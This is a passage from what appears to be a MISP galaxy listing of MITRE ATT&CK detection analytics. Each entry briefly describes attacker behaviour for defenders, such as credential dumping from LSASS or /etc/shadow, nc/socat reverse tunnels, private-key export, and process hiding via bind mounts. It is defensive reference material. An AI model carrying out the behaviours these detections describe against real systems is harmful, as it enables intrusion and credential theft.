Table 7290. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0573#AN1581

Analytic 1518 - AN1518

Access to user private key directories (e.g., /Users/*/.ssh) via Terminal, scripting engines, or non-default processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1518 - AN1518"*

Table 7291. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0549#AN1518

Analytic 1185 - AN1185

Detection focuses on abnormal service executions initiated via service control manager APIs, sc.exe, net.exe, or PsExec creating temporary services. Defenders observe process creation of services.exe spawning non-standard binaries, registry changes in service keys followed by rapid execution, and network connections originating from processes tied to transient services. Correlation across process lineage, registry activity, and service logs provides strong signals of malicious service execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1185 - AN1185"*

Table 7292. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0421#AN1185

Analytic 1851 - AN1851

Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1851 - AN1851"*

Table 7293. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0720#AN1851

Analytic 1815 - AN1815

Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1815 - AN1815"*

Table 7294. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0699#AN1815

Analytic 1195 - AN1195

Unauthorized modification of service-related registry keys such as ImagePath, FailureCommand, ServiceDll, or Performance/Parameters keys. Defender correlates registry modifications, anomalous service metadata changes, and subsequent service process executions that deviate from baseline configurations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1195 - AN1195"*

Table 7295. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0427#AN1195

Analytic 1519 - AN1519

CLI-based export of private key material (e.g., 'crypto pki export') with anomalous user session or AAA role escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1519 - AN1519"*

Table 7296. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0549#AN1519

Analytic 1951 - AN1951

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1951 - AN1951"*

Table 7297. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0819#AN1951

Analytic 1591 - AN1591

Creation of email forwarding/redirect rules in Exchange Online via New-InboxRule or transport rule cmdlets, including auto-forwarding address field usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1591 - AN1591"*

Table 7298. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0576#AN1591

Analytic 1159 - AN1159

Use of configuration backup utilities or CLI access to dump plaintext passwords, local user hashes, or SNMP strings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1159 - AN1159"*

Table 7299. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412#AN1159

Analytic 1166 - AN1166

Automated scripts or repeated CLI/API requests that trigger application backends to consume high CPU or memory (e.g., Apache/PHP, MySQL, mail servers), resulting in syslog errors and excessive process spawning.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1166 - AN1166"*

Table 7300. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0415#AN1166

Analytic 1616 - AN1616

Enumeration of user or role objects via IdP API endpoints or LDAP queries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1616 - AN1616"*

Table 7301. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1616

Analytic 1661 - AN1661

Unexpected behavior from an application could be an indicator of masquerading. Application vetting services may potentially determine if an application contains suspicious code and/or metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1661 - AN1661"*

Table 7302. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0609#AN1661

Analytic 1176 - AN1176

Monitor pmset command executions altering sleep/hibernate/standby parameters. Unexpected modifications to /Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist or similar files should be correlated with process activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1176 - AN1176"*

Table 7303. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0417#AN1176

Analytic 1167 - AN1167

Repetitive triggering of GUI or backend application workflows that cause increased CPU/memory usage, logged in unified logs as spin reports or crash dumps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1167 - AN1167"*

Table 7304. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0415#AN1167

Analytic 1617 - AN1617

Account enumeration via esxcli, vim-cmd, or API calls to vSphere.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1617 - AN1617"*

Table 7305. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1617

Analytic 1671 - AN1671

[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1671 - AN1671"*

Table 7306. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0615#AN1671

Analytic 1761 - AN1761

Mobile security products can often alert the user if their device is vulnerable to known exploits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1761 - AN1761"*

Table 7307. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0666#AN1761

Analytic 1716 - AN1716

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1716 - AN1716"*

Table 7308. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0641#AN1716

Analytic 1186 - AN1186

Registry key modifications under IFEO paths (e.g., Debugger value set under Image File Execution Options), especially for security-related or accessibility binaries, followed by anomalous process execution with debugger flags or SYSTEM-level access at login. Detectable by correlating registry modifications, process creation, and parent-child anomalies with unusual command-line usage or access tokens.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1186 - AN1186"*

Table 7309. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0422#AN1186

Analytic 1168 - AN1168

Automated abuse of cloud-hosted applications (e.g., web apps, REST endpoints, internal APIs) causing compute exhaustion, high 5xx error rates, or frequent autoscaling triggers logged in app insights or cloudwatch.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1168 - AN1168"*

Table 7310. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0415#AN1168

Analytic 1618 - AN1618

Account enumeration via bulk access to user directory features or hidden APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1618 - AN1618"*

Table 7311. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1618

Analytic 1816 - AN1816

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. Many properly configured firewalls may naturally block bidirectional command and control traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1816 - AN1816"*

Table 7312. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0700#AN1816

Analytic 1681 - AN1681

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1681 - AN1681"*

Table 7313. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0620#AN1681

Analytic 1619 - AN1619

Account discovery via VBA macros, COM objects, or embedded scripting.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1619 - AN1619"*

Table 7314. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0587#AN1619

Analytic 1169 - AN1169

Detects FTP, SMB, or TFTP traffic initiated by suspicious processes like PowerShell, cmd.exe, or rundll32.exe—especially with large outbound file transfers or unbalanced traffic volume.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1169 - AN1169"*

Table 7315. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0416#AN1169

Analytic 1961 - AN1961

Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1961 - AN1961"*

Table 7316. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0829#AN1961
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1196 - AN1196

Abuse of bind mounts to obscure process directories. Defender perspective: detecting anomalous mount operations where a process's /proc entry is remapped to another directory, often hiding

malicious activity from native utilities (ps, top). Behavior chain includes: (1) execution of `mount` with `-o bind` or `-B` flags, (2) modification of /proc entries inconsistent with expected process lineage, and (3) subsequent anomalous activity from processes whose metadata no longer matches execution context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1196 - AN1196"*

Table 7317. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0428#AN1196

Analytic 1691 - AN1691

Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1691 - AN1691"*

Table 7318. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0625#AN1691

Analytic 1177 - AN1177

Multi-stage Windows DACL manipulation behavioral chain: (1) Process creation of permission-modifying utilities (icacls.exe, takeown.exe, attrib.exe, cacls.exe) or PowerShell ACL cmdlets, (2) Command-line analysis revealing privilege escalation intent through suspicious parameters (/grant, /takeown, /T, Set-Acl), (3) DACL modification events (4670) correlating with process execution, (4) Subsequent file access attempts (4663) indicating successful permission bypass, (5) Potential follow-on persistence or lateral movement activities

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1177 - AN1177"*

Table 7319. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0418#AN1177

Analytic 1717 - AN1717

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1717 - AN1717"*

Table 7320. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0641#AN1717

Analytic 1771 - AN1771

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. Many properly configured firewalls may naturally block command and control traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1771 - AN1771"*

Table 7321. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0672#AN1771

Analytic 1187 - AN1187

Detection focuses on correlating snapshot creation events with subsequent instance creation and mounting activities. From a defender perspective, suspicious sequences include snapshot creation by unexpected or newly created IAM users, snapshots created from sensitive volumes without preceding change-control activity, or snapshots immediately followed by mounting to unauthorized instances. Cross-referencing with user behavior, IP geolocation, and automation context helps distinguish benign backup operations from adversary-driven snapshot exploitation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1187 - AN1187"*

Table 7322. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0423#AN1187

Analytic 1178 - AN1178

Correlate DNS queries that generate domains with high entropy or gibberish patterns, combined with short-lived connections from unusual processes. Monitor Sysmon DNS events and Windows Security logs for abnormal query rates and failed lookups.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1178 - AN1178"*

Table 7323. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0419#AN1178

Analytic 1718 - AN1718

Application vetting services can detect when an application requests administrator permission. When an application requests administrator permission, the user is presented with a popup and the option to grant or deny the request.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1718 - AN1718"*

Table 7324. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0642#AN1718

Analytic 1817 - AN1817

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. Many properly configured firewalls may naturally block bidirectional command and control traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1817 - AN1817"*

Table 7325. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0700#AN1817

Analytic 1781 - AN1781

Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1781 - AN1781"*

Table 7326. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0678#AN1781

Analytic 1179 - AN1179

Identify processes issuing repeated DNS queries to random-looking domains with abnormal entropy or word concatenations. Correlate resolver logs with high NXDOMAIN rates and auditd socket connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1179 - AN1179"*

Table 7327. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0419#AN1179

Analytic 1971 - AN1971

If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1971 - AN1971"*

Table 7328. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0839#AN1971

Analytic 1197 - AN1197

Detects the modification or addition of Launch Agents or Startup Items to establish persistence. Adversaries may write plist or executable files to ~/Library/LaunchAgents/, /Library/StartupItems/, or similar directories and configure them to run at user or system boot. Detection requires correlating file creation or modification events with subsequent user logon or boot-time process execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1197 - AN1197"*

Table 7329. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0429#AN1197

Analytic 1719 - AN1719

Application vetting services could detect usage of standard clipboard APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1719 - AN1719"*

Table 7330. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0643#AN1719

Analytic 1791 - AN1791

Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1791 - AN1791"*

Table 7331. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0684#AN1791

Analytic 1188 - AN1188

Creation, deletion, or modification of security groups and firewall rules in cloud control plane logs that expand access to cloud resources beyond expected baselines. Defender view: unexpected ingress/egress rules permitting 0.0.0.0/0 or opening atypical ports, often correlated with privileged role or API key activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1188 - AN1188"*

Table 7332. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0424#AN1188

Analytic 1818 - AN1818

[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1818 - AN1818"*

Table 7333. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0701#AN1818

Analytic 1189 - AN1189

Detects unusual outbound connections to web services from uncommon processes using SSL/TLS, particularly those exhibiting high outbound data volume or persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1189 - AN1189"*

Table 7334. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0425#AN1189

Analytic 1981 - AN1981

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1981 - AN1981"*

Table 7335. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0849#AN1981

Analytic 1198 - AN1198

Monitors suspicious access to password stores such as LSASS, DPAPI, Windows Credential Manager, or browser credential databases. Detects anomalous process-to-process access (e.g., Mimikatz accessing LSASS) and correlation of credential store file reads with execution of non-standard processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1198 - AN1198"*

Table 7336. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0430#AN1198

Analytic 1819 - AN1819

[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1819 - AN1819"*

Table 7337. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0701#AN1819

Analytic 1991 - AN1991

Once adversaries leverage compromised network devices as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place

outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1991 - AN1991"*

Table 7338. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0859#AN1991
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1199 - AN1199

Detects access to known password store files (e.g., /etc/shadow, GNOME Keyring, KWallet, browser credential databases). Monitors anomalous process read attempts and suspicious API calls that attempt to extract stored credentials.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1199 - AN1199"*

Table 7339. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0430#AN1199

Analytic 1222 - AN1222

Detection of anomalous registry modifications to Subject Interface Packages (SIPs) or trust provider DLL mappings, unexpected loading of non-Microsoft cryptographic modules, or attempts to redirect WinVerifyTrust validation logic. Defender view focuses on registry tampering, suspicious DLL loads into trusted processes, and abnormal trust validation failures correlated across event streams.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1222 - AN1222"*

Table 7340. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0442#AN1222

Analytic 1322 - AN1322

Detects unauthorized changes to locally hosted login pages on macOS (common in developer VPN environments) and links file edits to cron jobs, background scripts, or SUID binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1322 - AN1322"*

Table 7341. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0480#AN1322

Analytic 1223 - AN1223

Detects anomalous process execution patterns where a process's parent terminates quickly after process creation or is re-parented to 'init' (PID 1), often indicating double-fork or daemon-style detachment. These behaviors sever the parent-child relationship and obscure the execution origin in process tree analysis.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1223 - AN1223"*

Table 7342. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0443#AN1223

Analytic 1232 - AN1232

Direct use of `nc`, `socat`, or reverse tunnel scripts initiated by abnormal user contexts or unauthorized VIBs initiating connections from hypervisor to external systems.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1232 - AN1232"*

Table 7343. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0445#AN1232

Analytic 1224 - AN1224

Detects execution patterns where a child process is detached from its original parent, often showing up under 'launchd' (PID 1) with no parent lineage. These breakages in the process tree are indicative of evasive techniques using `daemon()`, `fork()` or background execution flags.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1224 - AN1224"*

Table 7344. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0443#AN1224

Analytic 1422 - AN1422

Detects container breakout behavior via exploitation (e.g., DirtyPipe, CVE-2022-0847), followed by host OS interaction or escalated capability assignment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1422 - AN1422"*

Table 7345. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0514#AN1422

Analytic 1242 - AN1242

Detection focuses on abnormal or unauthorized cloud instance creation events. From a defender's perspective, suspicious behavior includes VM/instance creation by rarely used or newly created accounts, creation events from unusual geolocations, or rapid sequences of snapshot creation followed by instance creation and mounting. Unexpected network or IAM policy changes applied to new instances can indicate adversarial use rather than legitimate provisioning.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1242 - AN1242"*

Table 7346. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0449#AN1242

Analytic 1522 - AN1522

Repeated failed SSH login attempts followed by a possible success from the same remote host

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1522 - AN1522"*

Table 7347. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0551#AN1522

Analytic 1252 - AN1252

Detects behavioral chains where PowerShell is launched with encoded commands, unusual parent processes, or suspicious modules loaded, potentially followed by network connections or child process spawning. Supports detection of both direct (powershell.exe) and indirect (.NET automation) invocations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1252 - AN1252"*

Table 7348. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0455#AN1252

Analytic 1225 - AN1225

Detects suspicious usage of common application-layer protocols (e.g., HTTP, HTTPS, DNS, SMB) by

abnormal processes, with high outbound byte counts or irregular ports, possibly indicating command and control or data exfiltration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1225 - AN1225"*

Table 7349. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0444#AN1225

Analytic 1622 - AN1622

Adversary modifies externally-facing web content by accessing and overwriting hosted HTML/JS/CSS files, typically following web shell deployment, credential abuse, or exploitation of web application vulnerabilities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1622 - AN1622"*

Table 7350. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0590#AN1622

Analytic 1226 - AN1226

Detects suspicious curl, wget, or custom socket traffic that leverages DNS, HTTPS, or IRC-style protocols with unbalanced traffic or beacon-like intervals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1226 - AN1226"*

Table 7351. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0444#AN1226

Analytic 1262 - AN1262

Multiple failed authentication attempts using distinct username/password pairs from a single IP address or session within a short time window, targeting common services like RDP or SMB

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1262 - AN1262"*

Table 7352. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460#AN1262

Analytic 1272 - AN1272

Unusual mounting of loopback or pseudo file systems not aligned with legitimate administrative activity. Defender view: monitoring auditd and syslog for mount commands involving suspicious mount points, reserved blocks, or device mappings indicative of hidden partitions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1272 - AN1272"*

Table 7353. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0461#AN1272

Analytic 1227 - AN1227

Detects applications using abnormal protocols or high volume traffic not previously associated with the process image, such as Automator or AppleScript invoking curl or python sockets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1227 - AN1227"*

Table 7354. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0444#AN1227

Analytic 1722 - AN1722

Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1722 - AN1722"*

Table 7355. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0644#AN1722

Analytic 1228 - AN1228

Detects application-layer tunneling or unauthorized app protocols like DNS-over-HTTPS, embedded C2 in TLS/HTTP headers, or misused SMB traffic crossing VLANs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1228 - AN1228"*

Table 7356. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0444#AN1228

Analytic 1282 - AN1282

Use of the `security` command or Keychain API to extract known Wi-Fi passwords for target SSIDs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1282 - AN1282"*

Table 7357. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0464#AN1282

Analytic 1822 - AN1822

The user can review available call logs for irregularities, such as missing or unrecognized calls. The user can view their default phone app in device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1822 - AN1822"*

Table 7358. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0703#AN1822

Analytic 1229 - AN1229

Suspicious process spawning (e.g., `rundll32`, `svchost`, `powershell`, or `netsh`) followed by network connection creation to internal hosts or uncommon external endpoints on high or non-standard ports.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1229 - AN1229"*

Table 7359. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0445#AN1229

Analytic 1292 - AN1292

Detects DHCP spoofing by monitoring unified logs for unexpected DHCP ACK/OFFER parameters and correlating with packet captures for multiple DHCP servers. Behavioral emphasis is on inconsistent DNS and gateway assignments that redirect traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1292 - AN1292"*

Table 7360. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0468#AN1292

Analytic 1332 - AN1332

Monitor resolver logs and auditd events for domains resolving to a rotating set of IPs within very short TTL intervals. Correlate high query rates from non-browser applications (e.g., python, curl).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1332 - AN1332"*

Table 7361. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0485#AN1332

Analytic 1233 - AN1233

Dynamic or static port forwarding rules added to route traffic through an internal host, or configuration changes to proxy firewall rules not aligned with baselined policy.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1233 - AN1233"*

Table 7362. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0445#AN1233

Analytic 1323 - AN1323

Correlate suspicious registry modifications to known COM object CLSIDs with subsequent DLL loads or unexpected binary execution paths. Detect placement of COM CLSID entries under HKEY_CURRENT_USER\Software\Classes\CLSID\ overriding default HKLM paths. Flag anomalous DLL loads traced back to hijacked COM registry changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1323 - AN1323"*

Table 7363. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0481#AN1323

Analytic 1423 - AN1423

Access and retrieval of container service account tokens followed by unauthorized API requests using those tokens to interact with the Kubernetes API server or internal services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1423 - AN1423"*

Table 7364. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0515#AN1423

Analytic 1432 - AN1432

Identifies CLI interpreter access (e.g., Cisco IOS, Juniper JUNOS) via `enable` mode or scripting-capable sessions used by uncommon accounts or from unknown IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1432 - AN1432"*

Table 7365. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0516#AN1432

Analytic 1324 - AN1324

Detection of token duplication and impersonation attempts by correlating suspicious command-line executions (e.g., runas) with API calls to DuplicateToken, DuplicateTokenEx, ImpersonateLoggedOnUser, or SetThreadToken. The chain includes the initial command execution or in-memory API invocation → token handle duplication or thread token assignment → a new or existing process assuming the impersonated user's context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1324 - AN1324"*

Table 7366. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0482#AN1324

Analytic 1243 - AN1243

Monitor kernel module load/unload activity via modprobe, insmod, rmmod, or direct manipulation of /lib/modules. Correlate with installation of kernel headers, compilation commands, or downloads of .ko files. Detect anomalies in unsigned module loading or repeated module load attempts under non-root users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1243 - AN1243"*

Table 7367. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0450#AN1243

Analytic 1342 - AN1342

Failed authentication attempts across user mailboxes using identical or common passwords (e.g., OWA brute attempts)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1342 - AN1342"*

Table 7368. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487#AN1342

Analytic 1234 - AN1234

Adversaries attempt to read sensitive files such as /etc/passwd and /etc/shadow for credential dumping. This may involve access to the files directly via command-line utilities (e.g., cat, less), creation of backup copies, or parsing through post-exploitation frameworks. Multi-event correlation includes elevated process execution, file access/read on sensitive paths, and anomalous read behaviors tied to non-root or unusual users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1234 - AN1234"*

Table 7369. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0446#AN1234

Analytic 1532 - AN1532

Use of hcitool, bluetoothctl, or rfcomm to initialize Bluetooth connection paired with recent file reads by the same user or session.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1532 - AN1532"*

Table 7370. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0554#AN1532

Analytic 1253 - AN1253

A process (often after stealing/creating a token) calls CreateProcessWithTokenW/CreateProcessAsUserW or uses runas to spawn a **new** process whose security context (SID/LogonId/IntegrityLevel) differs from its parent. Chain: (1) suspicious command/API → (2) privileged handle or token duplication/open → (3) new child process running as another user / higher integrity → (4) optional follow-on privileged/lateral actions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1253 - AN1253"*

Table 7371. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0456#AN1253

Analytic 1352 - AN1352

Detection of adversary attempts to enumerate containers, pods, nodes, and related resources within containerized environments. Defenders may observe anomalous API calls to Docker or Kubernetes (e.g., 'docker ps', 'kubectl get pods', 'kubectl get nodes'), unusual account activity against the Kubernetes dashboard, or unexpected queries against container metadata endpoints. These events should be correlated with user context and network activity to reveal resource discovery attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1352 - AN1352"*

Table 7372. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0490#AN1352

Analytic 1325 - AN1325

Enumeration of services via native CLI tools (e.g., `sc query`, `tasklist /svc`, `net start`) or API calls via PowerShell and WMI.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1325 - AN1325"*

Table 7373. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0483#AN1325

Analytic 1235 - AN1235

Adversary uses built-in tools like 'net user /add', PowerShell, or WMI to create a local user. Sequence: Account creation event (4720) follows process creation of a suspicious executable (e.g., powershell.exe or net.exe).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1235 - AN1235"*

Table 7374. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447#AN1235

Analytic 1523 - AN1523

Series of failed logins from loginwindow or sshd with repeated usernames or password prompts

